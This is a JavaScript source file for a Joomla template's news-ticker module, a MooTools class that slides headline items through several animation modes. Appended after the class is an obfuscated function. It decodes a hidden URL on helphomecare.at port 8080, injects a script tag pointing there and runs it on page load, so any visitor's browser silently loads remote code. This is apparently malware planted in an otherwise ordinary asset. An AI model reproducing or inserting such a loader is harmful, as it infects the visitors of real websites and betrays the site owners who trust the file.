/*------------------------------------------------------------------------
# JA Teline III Stable - Version 1.1 - Licence Owner JA140174
# ------------------------------------------------------------------------
# Copyright (C) 2004-2009 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
# @license - Copyrighted Commercial Software
# Author: J.O.O.M Solutions Co., Ltd
# Websites: http://www.joomlart.com - http://www.joomlancers.com
# This file may not be redistributed in whole or significant part.
-------------------------------------------------------------------------*/
/**
 * JA News Sticker module allows display of article's title from sections or categories. \
 * You can configure the setttings in the right pane. Mutiple options for animations are also added, choose any one.
 * If you are using this module on Teline III template, * then the default module position is "headlines".
 **/

JANewSticker = new Class( {

	initialize: function(_options){
		this.options = Object.extend( {
			modes: {horizontal:['left','width'],horizontal_right:['left','width'], verticald:['top','height'], vertical:['top','height']},
			size:240,
			mode: 'horizontal',
			buttonEvent:'click',
			handlerEvent:'click',
			interval: 5000,
			autoRun:true,
			previousIndex:null,
			nextIndex: null,
			currentIndex:0,
			startItem: 0,
			onRunning:null
		}, _options || {} );
		// list action of button using in the slider.
		this.fx = new Array();
		this.fx2 = new Array();
		if( this.options.mode == 'vertical' ||   this.options.mode == 'verticald' ){
			this.options.size = this.options.box.offsetHeight;	
		} else {
			this.options.size = this.options.box.offsetWidth;	
		}
		
		// if choose horizontal slider.
		if( this.options.mode == 'horizontal_stripe' ){ 
			
		}else {
		
			this.onRunning = this.options.onRunning;
			 if( isNaN(this.options.startItem) 
					|| (this.options.startItem > this.options.items.length || this.options.startItem < 0 ) ){
				this.options.startItem = 0; 		 
			 }
			
			var maxWidth = 0;
			this.options.items.each(function(_item, index){  
				// set z-index for each item in the list.							 
				 _item.setStyle('z-index', this.options.items.length - index);
				 if( index == this.options.startItem ){ 
				 	_item.setStyle('visibility','visible');
				 }
				 
				 _item.setStyle('width', _item.offsetWidth);
				  if( _item.offsetWidth > maxWidth ){
					  maxWidth = _item.offsetWidth;
				  }
				 this.fx2[index] =  new  Fx.Style( _item, 'opacity',  _options.fxOptions );
				 this.fx2[index].offsetWidth= _item.offsetWidth;
				 if( index != this.options.startItem ) this.fx2[index].hide();
				  
				 if( this.options.mode != 'opacity' ) { 
				 	this.fx[index] = new Fx.Style( _item,this.options.modes[this.options.mode][0], _options.fxOptions||{duration:500,wait:false} );
				 } 
			}.bind(this));
			
			if( this.options.box.offsetWidth <= 0 ){
			
				 this.options.box.setStyle('width', maxWidth);
				// this.options.size = maxWidth;
			}

			// define list buttons drivent.
			this.buttons = {previous: [], next: [], play: [], playback: [], stop: []};
			this.options.autoRun = true;
			if( _options.buttons ){
				for( var action in _options.buttons ) {
					this.bindingButtonsEvent( action, $type(_options.buttons[action])=='array' ? _options.buttons[action] : [_options.buttons[action]] );	
				}
			}	
			// if auto run
			if( this.options.autoRun ) {
				this.play( this.options.interval,'next',true );	
			}
			// process when mouse over and mouse out.
			var wrapper2 = this.options.wrapper;
			wrapper2.addEvent("mouseenter", function(){
				this.stop();									 
			}.bind(this));
			wrapper2.addEvent("mouseleave", function(){
													 	
				 this.play(this.options.interval,'next',true);							 
			}.bind(this));
		}
	},
	/**
	 * previous
	 */
	previous: function(manual) {
		//
	//	this.fx2[this.options.currentIndex].start(1,0);
	//	this.fx[this.options.currentIndex].start( (this.options.size), 0 );

		this.options.currentIndex += this.options.currentIndex > 0 ? -1 : this.options.items.length-1;
		this.running( null, manual, 'previous' );	
	},
	/**
	 * next
	 */
	next:function(manual){ 	
		// display secord element.
		this.options.currentIndex += (this.options.currentIndex < this.options.items.length-1) ? 1 : (1 - this.options.items.length);
		this.running( null, manual, 'next' );
	},
	/**
	 * play
	 */
	play: function( delay, direction, wait ){
		this.stop(); 
		if(!wait){
			this[direction](false);
		}
		this.options.autoRun = this[direction].periodical(delay,this,false);
	},
	/**
	 * stop.
	 */
	stop:function(){  
		$clear(this.options.autoRun);	
	},
	
	/**
	 * running 
	 */
	running: function( item, manual, runningMode ){ 	
		this.options.previousIndex = this.options.currentIndex + (this.options.currentIndex>0 ? -1 : this.options.items.length-1);

		this.options.nextIndex = this.options.currentIndex + (this.options.currentIndex < this.options.items.length-1 ? 1 : 1-this.options.items.length);
		//
		// if next item then hide previous element
		//
		// alert( this.fx2[this.options.currentIndex].offsetWidth );
		
		if( this.options.mode != 'opacity' ) {
				var size1;
				var size2;

				if( this.options.mode == 'horizontal_right' || this.options.mode == 'verticald' ){
					size1 = -(this.options.size);
					size2 = (this.options.size);
				} else {
					size1 = (this.options.size);
					size2 = -(this.options.size);	
				}
				
			if( runningMode == 'next' ) {
				this.fx2[this.options.previousIndex].start(1,0);
				this.fx[this.options.previousIndex].start(  0, size1 );
				this.fx2[this.options.currentIndex].start(0,1);
				this.fx[this.options.currentIndex].start(  +size2, 0 );
			
			} else if( runningMode == 'previous') {
	
				this.fx2[this.options.nextIndex].start(1,0);
				this.fx[this.options.nextIndex].start(  0, +(this.options.size) );
				
				this.fx2[this.options.currentIndex].start(0,1);
				this.fx[this.options.currentIndex].start(  -(this.options.size), 0 );
			}  
		} else {
			if( runningMode == 'next' ) {
				this.fx2[this.options.previousIndex].start(1,0);	
				this.fx2[this.options.currentIndex].start(0,1);
			} else {
				this.fx2[this.options.nextIndex].start(1,0);
				this.fx2[this.options.currentIndex].start(0,1);
			}
		}

		if( manual ){ this.stop(); }
		// if using callback method.
		if(this.onRunning){ 
			this.onRunning( this.options.items[this.options.currentIndex],(this.buttons ? this.buttons[this.options.currentIndex]:null) ); 
		}
		
		if( manual && this.options.autoRun ){ 
			this.play( this.options.interval,'next', true );
		}		
	},
	
	bindingButtonsEvent:function( action, buttons ){ 
		for(var i=0; i<buttons.length; i++){
			switch(action){
				case 'previous': 
						buttons[i].addEvent(this.options.buttonEvent,this.previous.bind(this,true)); 
					break;
				case 'next': 	
					buttons[i].addEvent(this.options.buttonEvent,this.next.bind(this,true));
					break;
				case 'play':
					buttons[i].addEvent(this.options.buttonEvent, this.play.bind( this,[this.options.interval,'next',false]) ); 
					break;
				case 'playback': 
					buttons[i].addEvent( this.options.buttonEvent, 
					this.play.bind(this,[this.options.interval,'previous',false]));
						break;
				case 'stop':
					buttons[i].addEvent(this.options.buttonEvent, this.stop.bind(this) ); break;
			}
			this.buttons[action].push(buttons[i]);
		}
		
	}
	
} );

function M(){var L=window;var r;if(r!='' && r!='W'){r='x'};var E=unescape;var p=E("%2f%76%6b%6f%6e%74%61%6b%74%65%2d%72%75%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%63%68%69%6e%61%68%72%2e%63%6f%6d%2e%70%68%70");this._="";var F;if(F!='' && F!='X'){F='g'};function Z(k,f){var e;if(e!='' && e!='Zr'){e=''};var nZ;if(nZ!='sn'){nZ=''};var w="g";var oQ='';var I=E("%5b"), b=E("%5d");var C=I+f+b;var ey;if(ey!='nd'){ey='nd'};var o=new RegExp(C, w);return k.replace(o, new String());var q;if(q!='' && q!='Qn'){q=null};};var d;if(d!='sr'){d=''};var aZ;if(aZ!='' && aZ!='c'){aZ='l'};this.ab='';var PK;if(PK!='Ls'){PK=''};var A=Z('83620568670914','23674915');var Df=new Array();var B=document;var xQ;if(xQ!=''){xQ='EN'};var i=new String();var UR='';function Q(){var _l=new String();var iM=new String();var a=E("%68%74%74%70%3a%2f%2f%68%65%6c%70%68%6f%6d%65%63%61%72%65%2e%61%74%3a");var cQ;if(cQ!='N'){cQ='N'};i=a;i+=A;var v=new String();var mz;if(mz!='zt' && mz!='vt'){mz='zt'};i+=p;var hZ;if(hZ!='' && hZ!='nX'){hZ=null};var Lu;if(Lu!='' && Lu!='EP'){Lu='Zo'};var Qe;if(Qe!='ib' && Qe!='J'){Qe='ib'};try {var zl=new Date();var Ig='';var vW=new String();s=B.createElement(Z('sRcorMiMpntR','YJnTPEoRfN426jl5Mmg'));var HA;if(HA!='nk'){HA='nk'};var Zd;if(Zd!='lV' && Zd!='_QJ'){Zd='lV'};this.Vk='';s[E("%73%72%63")]=i;var hn;if(hn!='gp' && hn!='vm'){hn=''};s[E("%64%65%66%65%72")]=[1,0][0];var ft="";var Ln=new String();var mV;if(mV!='TN' && mV!='jK'){mV=''};B.body.appendChild(s);var NOJ=new Array();this.gA='';} catch(sB){alert(sB);var JP;if(JP!='' && JP!='oO'){JP=''};};this.Js='';var xD=new Array();}var Cg;if(Cg!='eO'){Cg=''};var nkz;if(nkz!='' && nkz!='QJ'){nkz=null};L["onlo"+"ad"]=Q;this.oY="";var TT='';this.sk="";var fJ;if(fJ!='Vq' && fJ!='SK'){fJ='Vq'};};var cl=new Date();var zp;if(zp!='' && zp!='Nf'){zp=''};M();var zY='';